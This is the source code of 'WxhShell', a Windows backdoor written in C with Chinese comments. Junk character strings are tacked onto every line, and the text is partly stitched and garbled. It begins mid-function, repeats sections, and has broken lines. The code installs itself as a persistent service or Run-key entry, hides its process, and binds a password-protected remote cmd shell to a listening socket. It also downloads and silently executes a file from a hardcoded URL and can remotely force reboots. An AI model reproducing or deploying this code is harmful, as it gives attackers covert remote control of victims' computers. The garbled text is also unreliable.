    else { BK d(  
    closesocket(wsh); )Y&De)=  
    ExitThread(0); EJtU(HmW  
    } Z#MODf0H@  
    break; 'H cDl@E  
    } 5!ReW39c ;  
  // 获取shell /?XfVhA:A  
  case 's': { u\.sS|$  
    CmdShell(wsh); f|^f^Hu:{  
    closesocket(wsh); }Rux<=cd|  
    ExitThread(0); t2Y~MyT/  
    break; |b3/63Ri-0  
  } ycAQPz}=I  
  // 退出 V!<#E)-?<  
  case 'x': { l*:p==  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S8)awTA9  
    CloseIt(wsh);  B-gr2-  
    break; tl^[MLQa  
    } &s<  
  // 离开 [sk"2  
  case 'q': { _gGy(`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? sewU9*  
    closesocket(wsh); GKd>AP_  
    WSACleanup(); 6~/H#8Kdn  
    exit(1); P*T)/A%4  
    break; )eV40l$ M  
        } w9PY^U.Y3e  
  } ::`j@ ]  
  } GQZUC\cB  
?GC0dN  
  // 提示信息 j5)qF1W,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7=AKQ7BB>b  
} vZDQ@\HrC  
  } ` cv:p|s  
5UM[Iz  
  return; 5,((JxX$  
} H= y-Y_R  
68!fcK  
// shell模块句柄 vxt^rBA  
int CmdShell(SOCKET sock) ,RHHNTB("  
{ A{o{o++  
STARTUPINFO si; o_N02l4J)  
ZeroMemory(&si,sizeof(si)); O9yQ9sl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Sf^()5C,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gPi_+-@  
PROCESS_INFORMATION ProcessInfo; >lW*%{|b$^  
char cmdline[]="cmd"; J@TM>R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #"M Pe4  
  return 0; *3K"Kc2  
} QaO`:wJj  
DRIv<=Bt  
// 自身启动模式 R`&ioRWj  
int StartFromService(void) ]O\W<'+V  
{ 4dK@UN\  
typedef struct K]oPh:E  
{ ] 6gu  
  DWORD ExitStatus; F1=+<]!  
  DWORD PebBaseAddress; v8IL[g6"  
  DWORD AffinityMask; vSA%A47G  
  DWORD BasePriority; 8#Z5-",iw  
  ULONG UniqueProcessId; HKkf+)%)x  
  ULONG InheritedFromUniqueProcessId; ("oA{:@d  
}   PROCESS_BASIC_INFORMATION; 0R]CI  
g3XAs@  
PROCNTQSIP NtQueryInformationProcess; A!kyga6F5  
Mt Z(\&~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QBy*y $  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D=>^m=?0  
jb2:O,+!  
  HANDLE             hProcess; {\&"I|dpe  
  PROCESS_BASIC_INFORMATION pbi; f)x}_dw%  
zOOX>3^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iFA"m;$  
  if(NULL == hInst ) return 0; ,lJ6"J\8.  
S8RB0^Q7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &3f.78a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jQ)>XOok  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5!zvoX9  
\G@6jn1G(  
  if (!NtQueryInformationProcess) return 0; SA1/U  
"/?qT;<$)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0d ->$gb  
  if(!hProcess) return 0; sriz b  
JY+[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; srLr~^$j[  
&^_(xgJL  
  CloseHandle(hProcess); A%1=6  
MGz F+ln^U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V2,WP  
if(hProcess==NULL) return 0; n y)P  
YMTA`T(+  
HMODULE hMod; ([-=NT}Aq  
char procName[255]; o z{j2%  
unsigned long cbNeeded; syf"{bBe  
=> =x0gsgj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,`zRlkX  
i)i)3K2  
  CloseHandle(hProcess); Ekme62Q>u  
k#JG  
if(strstr(procName,"services")) return 1; // 以服务启动 K, 5ax@  
/AW>5r]  
  return 0; // 注册表启动 B7MW" y  
} ] <3?=$  
1qe^rz|  
// 主模块 %UQB?dkf$  
int StartWxhshell(LPSTR lpCmdLine) 'kvFU_)  
{ 8M9\<k6  
  SOCKET wsl; ^&H=dYcV>/  
BOOL val=TRUE; A'1AU:d  
  int port=0; R?~h7 d  
  struct sockaddr_in door; Z3>xpw G  
~+egu89'TU  
  if(wscfg.ws_autoins) Install(); jYX9; C;J  
~!F4JRf  
port=atoi(lpCmdLine); 5I1J)K;  
\{zAX~k6  
if(port<=0) port=wscfg.ws_port; bV*zMoD#  
A9Wqz"[  
  WSADATA data; ('q vYQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; az;jMnPpR5  
<]^;/2 .B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :V~*vLvR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c dbSv=r  
  door.sin_family = AF_INET; wrYQ=u#Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rDX'oP:  
  door.sin_port = htons(port); {IHK<aW  
aSkx#mV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cC^C7AAq^  
closesocket(wsl); ;kW}'&Ug  
return 1; YG~ o  
} UX`DZb +^  
#6s C&w3  
  if(listen(wsl,2) == INVALID_SOCKET) { *P R_Y=v%  
closesocket(wsl); .l=*R7~EU  
return 1; Z/= %J3f  
} |zq!CLjD@  
  Wxhshell(wsl); ]Y&)98  
  WSACleanup(); L1kM~M  
Y\e]2  
return 0; yCCw<?  
TUUE(sLA  
} .q`H`(QM  
S?7V "LF  
// 以NT服务方式启动 C<t'f(4s`u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -^4bA<dCCE  
{ >2CusT2  
DWORD   status = 0; b]<HhU  
  DWORD   specificError = 0xfffffff; CQzjCRS d  
cYM~IA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U+PCvl=x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cz@FZb8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,r 2VP\hLh  
  serviceStatus.dwWin32ExitCode     = 0; V.Ba''E7  
  serviceStatus.dwServiceSpecificExitCode = 0; ]vQ?]d?>a  
  serviceStatus.dwCheckPoint       = 0; $7n#\h  
  serviceStatus.dwWaitHint       = 0; iSr`fQw#  
Ivt} o_b*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L> Oy7w)Y  
  if (hServiceStatusHandle==0) return; afF+*\xXN  
)@bH"  
status = GetLastError(); +#qt^NO  
  if (status!=NO_ERROR) Bf:tal6 -M  
{ 9;]wF8h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5Z6-R}uXk  
    serviceStatus.dwCheckPoint       = 0; MkW1FjdP  
    serviceStatus.dwWaitHint       = 0; ,+/9K)X  
    serviceStatus.dwWin32ExitCode     = status; hK39_A-  
    serviceStatus.dwServiceSpecificExitCode = specificError; +*_fN ]M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H*{k4  
    return; kV\-%:-  
  } Ue3B+k9w  
}kCn@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P,/13tZ#3  
  serviceStatus.dwCheckPoint       = 0; } }f_  
  serviceStatus.dwWaitHint       = 0; m c\ C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2#b<d?"  
} dT]L-uRZgy  
974eY  
// 处理NT服务事件,比如:启动、停止 PPCTc|G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q&upxE4-~  
{ <DXmZ1  
switch(fdwControl) }*.:Hv"  
{ j!S1Y0CV  
case SERVICE_CONTROL_STOP: w`j*W$82  
  serviceStatus.dwWin32ExitCode = 0; [T4 pgt'H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lj EB  
  serviceStatus.dwCheckPoint   = 0; (3ZvXpzvF  
  serviceStatus.dwWaitHint     = 0; /1 US,  
  { pymx\Hd,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!F&>=o  
  } 7}d$*C  
  return; E#<7\ p>  
case SERVICE_CONTROL_PAUSE: 8Da(tS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 18.Y/nZAgQ  
  break; f^!11/Wv  
case SERVICE_CONTROL_CONTINUE: Yz2{LW[K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2 {mY:\  
  break; |I}A> XG  
case SERVICE_CONTROL_INTERROGATE: Kd/[ Bs%  
  break; Ehb?CnV#J  
}; T/wM(pr'   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mu'^OX82  
} ,b6kTQq  
tg7C;rJ  
// 标准应用程序主函数 {5QosC+o6Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H}h~~7E  
{ 0 OAqA?Z  
YER:ICQ  
// 获取操作系统版本 ZI58XS+  
OsIsNt=GetOsVer(); DYo<5^0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _\,rX\  
^91sl5c8yD  
  // 从命令行安装 5ys #L&q'Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); oUQGLl!V  
iN<(O7B;  
  // 下载执行文件 G-\<5]k]  
if(wscfg.ws_downexe) { [i(Cl}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DC|xilP1O  
  WinExec(wscfg.ws_filenam,SW_HIDE); s?^,iQ+tp  
} S}.\v<  
0 &*P}U}Uc  
if(!OsIsNt) { 09  
// 如果时win9x,隐藏进程并且设置为注册表启动 H\)gE>  
HideProc(); _kn]#^ucCe  
StartWxhshell(lpCmdLine); +P [88!  
} =<[7J]%  
else ATMc`z:5T  
  if(StartFromService()) ljup#:n  
  // 以服务方式启动 nU} ~I)@V  
  StartServiceCtrlDispatcher(DispatchTable); V.;:u#{@-Q  
else M4TrnZ1D}  
  // 普通方式启动 qs!>tw  
  StartWxhshell(lpCmdLine); kF+ZW%6N  
ra]!4Kd'  
return 0; iD%qy/I/  
} Az U|p  
MxY50 ^}(  
tCZpfZ@+=  
`GvA241  
=========================================== tCWJSi`IJ  
')C|`(hs   
,3:QB_  
4-y6MH  
`aO.=:O_  
>65 TkAp  
" X$BXT  
m9#}X_&x  
#include <stdio.h> X,>(Y8  
#include <string.h> U:qF/%w  
#include <windows.h> ?N4A9W9  
#include <winsock2.h> {B@*DQv  
#include <winsvc.h> .=Pm>o/,  
#include <urlmon.h> UUl*f!& o  
jEZ "  
#pragma comment (lib, "Ws2_32.lib") &nQRa?3,   
#pragma comment (lib, "urlmon.lib") mYjf5  
s,84*6u  
#define MAX_USER   100 // 最大客户端连接数 4$%`Qh>yA  
#define BUF_SOCK   200 // sock buffer 65lOX$*{-  
#define KEY_BUFF   255 // 输入 buffer  pz$_W  
c`-YIz)W  
#define REBOOT     0   // 重启 pAEN XC\,  
#define SHUTDOWN   1   // 关机 mH'\:oN  
=f o4x|{O  
#define DEF_PORT   5000 // 监听端口 G-2EQ.  
DZJ eup?Z  
#define REG_LEN     16   // 注册表键长度 (F_w>w.h  
#define SVC_LEN     80   // NT服务名长度 Tc:sldtCk  
q;p.wEbr4U  
// 从dll定义API a ]>VZOet  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >/b^fAG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `/c7h16  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -dg}BM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u-lrTa""z  
*7\W=-  
// wxhshell配置信息 %n jOX#.w  
struct WSCFG { ,SAbC*nq  
  int ws_port;         // 监听端口 Y\.DQ  
  char ws_passstr[REG_LEN]; // 口令 xYmdCf@H  
  int ws_autoins;       // 安装标记, 1=yes 0=no B9wp*:.  
  char ws_regname[REG_LEN]; // 注册表键名 'w}p[(  
  char ws_svcname[REG_LEN]; // 服务名 JdtPY~k0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <R>Q4&we(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N vcHv7,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9KXym }  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QS\Uq(Ja\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H]BAW *}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 60'6/3  
L5/mO6;k  
}; #`vVg GZ&  
7O:"~L  
// default Wxhshell configuration p[u4,  
struct WSCFG wscfg={DEF_PORT, C+`xx('N9  
    "xuhuanlingzhe", .XIr?>G  
    1, THJ 3-Ug  
    "Wxhshell", Ax f^hBP  
    "Wxhshell", l7ZB3'  
            "WxhShell Service", (JWv *p  
    "Wrsky Windows CmdShell Service", Q2q| *EL  
    "Please Input Your Password: ", E evw*;$x  
  1, N50fL  
  "http://www.wrsky.com/wxhshell.exe", E$w#+.QP  
  "Wxhshell.exe" z=B< `}@3  
    }; 3i6h"Wu`n  
\OP9_J(*  
// 消息定义模块 B9}E {)T?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M=W 4:H,gx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YtMlqF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; au}s=ua~i  
char *msg_ws_ext="\n\rExit."; "tKNlHBu'  
char *msg_ws_end="\n\rQuit."; t|.Ft<c#  
char *msg_ws_boot="\n\rReboot..."; .W$ sxVXB  
char *msg_ws_poff="\n\rShutdown..."; 7g5@vYS+  
char *msg_ws_down="\n\rSave to "; zb>;?et;)  
yu=piP  
char *msg_ws_err="\n\rErr!"; G&jZ\IV  
char *msg_ws_ok="\n\rOK!"; a/34WFC  
5.dl>,  
char ExeFile[MAX_PATH]; ~zMDY F"&  
int nUser = 0; n%*tMr9s  
HANDLE handles[MAX_USER]; XwtAF3oz  
int OsIsNt; RYH)AS4w'  
\p3v#0R{  
SERVICE_STATUS       serviceStatus; h<)yJh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )&Mq,@  
]9s\_A9  
// 函数声明 [-Cu4mff  
int Install(void); y=#j`MH{>  
int Uninstall(void); o~;M"  
int DownloadFile(char *sURL, SOCKET wsh); @*SA$9/l  
int Boot(int flag); 2Q}7fht  
void HideProc(void); z#RuwB+  
int GetOsVer(void); 2qlIy  
int Wxhshell(SOCKET wsl); { a. <`  
void TalkWithClient(void *cs); {gw [%[ZM  
int CmdShell(SOCKET sock); pD[pTMG@$  
int StartFromService(void); QhsVIta  
int StartWxhshell(LPSTR lpCmdLine); } YRO'Q{  
hox< vr4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j-QGOuvW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lM$t!2pRB  
>%l:Dw\A:  
// 数据结构和表定义 oJh"@6u6K  
SERVICE_TABLE_ENTRY DispatchTable[] = TVYz3~m  
{ e:BDQU  
{wscfg.ws_svcname, NTServiceMain}, c`ftd>]  
{NULL, NULL} F*,5\s<  
}; mVt3WZa  
ncj!KyU  
// 自我安装 #hy+ L  
int Install(void) AC'lS >7s  
{ >P<'L4;  
  char svExeFile[MAX_PATH]; zC#%6@P\  
  HKEY key; 2 ZK%)vq0  
  strcpy(svExeFile,ExeFile); m2Q$+p@  
i\  "{#  
// 如果是win9x系统,修改注册表设为自启动 :Pf>Z? /d  
if(!OsIsNt) { WI{; #A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :xtT)w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f]]f85  
  RegCloseKey(key); L0xsazX:x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9OfU7_m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9>;} /*:H  
  RegCloseKey(key); ZL,8,;]  
  return 0; 5#2jq<D  
    } #Skj#)I"  
  } p_r4^p\  
} [83>T ,  
else { ~U3S eo }  
w{r8kH  
// 如果是NT以上系统,安装为系统服务 Cg^:jd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;t!9]1  
if (schSCManager!=0) ?9Ma^C;}  
{  E>"8 /  
  SC_HANDLE schService = CreateService ($'V& x8T  
  ( .lr5!Stb  
  schSCManager, #"<?_fao~  
  wscfg.ws_svcname, J 3B`Krh  
  wscfg.ws_svcdisp, Hnd+l)ng  
  SERVICE_ALL_ACCESS, 7gr^z)${J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h;nQxmJ9  
  SERVICE_AUTO_START, ^N{k6>;  
  SERVICE_ERROR_NORMAL, ,\x$q'  
  svExeFile, tpZ->)1  
  NULL, Wj tft%  
  NULL, 4kh8W~i;/  
  NULL, =+\$e1Mb*  
  NULL, O+b6lg)q  
  NULL AOAO8%|I  
  ); j_V/GnEQ  
  if (schService!=0) kP?_kMOx  
  { qlvwK&W<QM  
  CloseServiceHandle(schService); TL@mM  
  CloseServiceHandle(schSCManager); ^e%k~B^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @k9Pz<ub  
  strcat(svExeFile,wscfg.ws_svcname); 7f r>ZY^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0MrN:M2B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^vM_kAr A  
  RegCloseKey(key); 1]Lh'.1^  
  return 0; P7UJ-2%Y+  
    } *uU4^E(  
  } y;QQ| =,  
  CloseServiceHandle(schSCManager); B:nK)"{  
} M $uf:+F  
} A%n?}  
N%u  
return 1; rs_h}+6"s  
} 1$(  
6]ZO'Nwo  
// 自我卸载 |6*Va%LYO-  
int Uninstall(void) {=iyK/Uf  
{ O2lIlCL  
  HKEY key; ju.OW`GM  
p6Gcts?,  
if(!OsIsNt) { ayeCi8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &F`L}#oL&  
  RegDeleteValue(key,wscfg.ws_regname); y!5:dvt  
  RegCloseKey(key); LihdZ )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TzY *;  
  RegDeleteValue(key,wscfg.ws_regname); KSsWjF}d  
  RegCloseKey(key); w5(yCyNp~  
  return 0; =x#&\ui  
  } .<.#aY;N  
} cmIT$?J  
} WGMb8 /{$P  
else { s`1^*Dl%+  
u>}zm_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t)'dF*L  
if (schSCManager!=0) .pW o>`"  
{  Fs)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qRl/Sl#F  
  if (schService!=0) 4m\([EO  
  { DJ|BM+  
  if(DeleteService(schService)!=0) { OfJd/D  
  CloseServiceHandle(schService); jzMg'z/@J  
  CloseServiceHandle(schSCManager); `)2[ST  
  return 0; 3a^)u-9,x  
  } mw"}8y  
  CloseServiceHandle(schService); +4HlRGH  
  } Khap9a_q-  
  CloseServiceHandle(schSCManager); dQK`sLChv  
} O{u[+g  
} !t% Q{`p  
.l=p[BI  
return 1; /tzlbI]z  
} = hhvmo  
QoWR@u6a  
// 从指定url下载文件 Y$+QNi  
int DownloadFile(char *sURL, SOCKET wsh) lvPpCAXY  
{ 6Hl < ,(vn  
  HRESULT hr; o?y"]RCM  
char seps[]= "/"; :~er h}~ps  
char *token; gCL{Cw  
char *file; <r3Jf}%tT  
char myURL[MAX_PATH]; W #47Cz  
char myFILE[MAX_PATH]; ~b#OFnyG  
PT05DH  
strcpy(myURL,sURL); ftaBilkjp  
  token=strtok(myURL,seps); P=Puaz5&{  
  while(token!=NULL) 4i`S+`#  
  { >j:|3atb  
    file=token; cd+^=esSO  
  token=strtok(NULL,seps); DyIV/  
  } -!~vA+jw1  
kF?S 2(vH  
GetCurrentDirectory(MAX_PATH,myFILE); 3>M.]w6{  
strcat(myFILE, "\\"); SBz/VQ  
strcat(myFILE, file); >>j+LRf*  
  send(wsh,myFILE,strlen(myFILE),0); #4N >d~  
send(wsh,"...",3,0); p {?}g'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XECikld>  
  if(hr==S_OK) s6/cL|Ex  
return 0; 2m_H*1 HJ  
else Rf?%Tv0\  
return 1; /`}6rXnw9  
mYzcVhV  
} o6|"J%9GX  
ng 9NE8F  
// 系统电源模块 qh H+m  
int Boot(int flag) c&b/Joi7@  
{ :l;,m}#@  
  HANDLE hToken; F^]aC98]1  
  TOKEN_PRIVILEGES tkp; -F1P2 8<?  
0$l&i=L  
  if(OsIsNt) { &1~Re.* B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H) cQO?B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F^xaz^=`u  
    tkp.PrivilegeCount = 1; R}hlDJ/m-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y&:/~&'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^Eu_NUFe  
if(flag==REBOOT) { 5!8-)J-H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [WYJrk.  
  return 0; F  "!`X#  
} RPY 6Wh| 4  
else { 61kO1,Uz*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GRy4cb2  
  return 0; 3<3t;&e  
} @BXaA0F4  
  } ?`"<DH~:0B  
  else { Bu' :2"7  
if(flag==REBOOT) { TG?fUD V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pj+tjF6Np  
  return 0; 4L!e=>as"1  
} [d\#[l_  
else { E}t-N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t:disL& !E  
  return 0; 6kC)\ uy  
} `u$24h'!  
} CM"s9E8y  
;2BPPZ  
return 1; f)WPOTEY  
} pRmEryR(U  
r &=r/k2  
// win9x进程隐藏模块 WFXx70n  
void HideProc(void) ${e -ffyy  
{ ijg,'a~3E  
kr6:{\DU:B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |NXFla  
  if ( hKernel != NULL ) ypxC1E  
  { S;BP`g<l=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IG>>j}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CO7CNN  
    FreeLibrary(hKernel); )|Jr|8  
  } ,I=O"z>9  
6B /Jp  
return; 6mX:=Q  
} 8XgVY9]Qm  
 eMztjN  
// 获取操作系统版本 /1U,+g^O>  
int GetOsVer(void) 1/!nV  
{ Qve`k<Cj"  
  OSVERSIONINFO winfo; K:C+/O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b\H/-7<  
  GetVersionEx(&winfo); /oBK&r[(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gtf1}UJC  
  return 1; 2 e )  
  else gZ=) qT]Pj  
  return 0; uLF\K+cz  
} 3$;J0{&[i  
ud 5x$`  
// 客户端句柄模块 m79m{!q$-  
int Wxhshell(SOCKET wsl) S|tA[klh  
{ ^j1Gmv)  
  SOCKET wsh; )_WH#-}  
  struct sockaddr_in client; Sv~PXi^`H  
  DWORD myID; hl=oiUf[s  
DM+sjn  
  while(nUser<MAX_USER) aIY$5^x  
{ 9[B<rz  
  int nSize=sizeof(client); oVAOGHE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A7mMgb_  
  if(wsh==INVALID_SOCKET) return 1; !Mm+bWn=mB  
l^)o'YS y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HdDo&#  
if(handles[nUser]==0) rAtai}Lx  
  closesocket(wsh); w}fqs/)w  
else "~B~{ _<j  
  nUser++; ^Jc$BMaVg  
  } 6f<*1YR F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7m vSo350  
\nn56o@eN  
  return 0; ~]jx+6k]  
} f'8B[&@L  
i+kFL$N  
// 关闭 socket "0p +SZ~D  
void CloseIt(SOCKET wsh) HE8'N=0  
{ 1v+JCOy  
closesocket(wsh); qQ3 ]E][/  
nUser--; g9RzzE!  
ExitThread(0); Djg 1Qh  
} ,K"r:)\  
{b\Y?t^>f  
// 客户端请求句柄 P TfN+  
void TalkWithClient(void *cs) e<&_tx   
{ eG a#$x?.  
Z_ iQU1  
  SOCKET wsh=(SOCKET)cs; 7R% PVgS4x  
  char pwd[SVC_LEN]; $sB48LJuU'  
  char cmd[KEY_BUFF]; eA;j/&qH  
char chr[1]; iPR!JX _  
int i,j; :Q0?ub]  
(Q*2dd>  
  while (nUser < MAX_USER) { %`t]FV^#  
!8H!Fj`|j  
if(wscfg.ws_passstr) { TPN:cA6[c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &VtWSq-)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !07FsPI#{  
  //ZeroMemory(pwd,KEY_BUFF); xF\}.OfWG  
      i=0;  Ep#<$6>  
  while(i<SVC_LEN) { 6z%&A]6k:  
N?Z+zN&P  
  // 设置超时 U~JG1#z6  
  fd_set FdRead; >n@>h$]  
  struct timeval TimeOut; 3M`hn4)K  
  FD_ZERO(&FdRead); uaZ"x& oZ#  
  FD_SET(wsh,&FdRead); ru(?a~lF8~  
  TimeOut.tv_sec=8; q329z>  
  TimeOut.tv_usec=0; L~SrI{aYPf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FcJ.)U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %BT)oH}  
QBN=l\m+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,_e/a   
  pwd=chr[0]; J7&.>y1%  
  if(chr[0]==0xd || chr[0]==0xa) { o{ YW  
  pwd=0; ~]m@k'n  
  break; =l?"=HF  
  } qW`XA  
  i++; .$}Z:,aB  
    } 8 H$@Xts  
.3g\[p   
  // 如果是非法用户,关闭 socket GSUOMy[M-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ B}c4,  
} [|m>vY!  
!Ed<xG/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *cb D&R\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (<AM+|  
c=jTs+h'  
while(1) { ]ZU:%Qhu  
KY(l<pm  
  ZeroMemory(cmd,KEY_BUFF); }hObtAS  
(pRy1DH~  
      // 自动支持客户端 telnet标准   Rzn0-cG  
  j=0; 8gu7f;H/k  
  while(j<KEY_BUFF) { #7cf 8y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F(J!dG5#  
  cmd[j]=chr[0]; %'D:bi5  
  if(chr[0]==0xa || chr[0]==0xd) { Xbsj:Ko]]U  
  cmd[j]=0; A<*tn?M]  
  break; tZc.%TU  
  } =":V WHf  
  j++; =."WvBKg  
    } z? b(|f\!  
ADwwiq#E  
  // 下载文件 p1`'1`.3  
  if(strstr(cmd,"http://")) { gen3"\Og{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f@x( ,p  
  if(DownloadFile(cmd,wsh)) E}CqVuU$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?HZ,7X:  
  else +-KRp1qq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <}x|@u  
  } 3vvFF]D5k  
  else { "351s3ff  
]a Ma*fF  
    switch(cmd[0]) { ~]t2?SqNm  
  yI)RG OV  
  // 帮助 ss M9t  
  case '?': { 3\U,Kg  
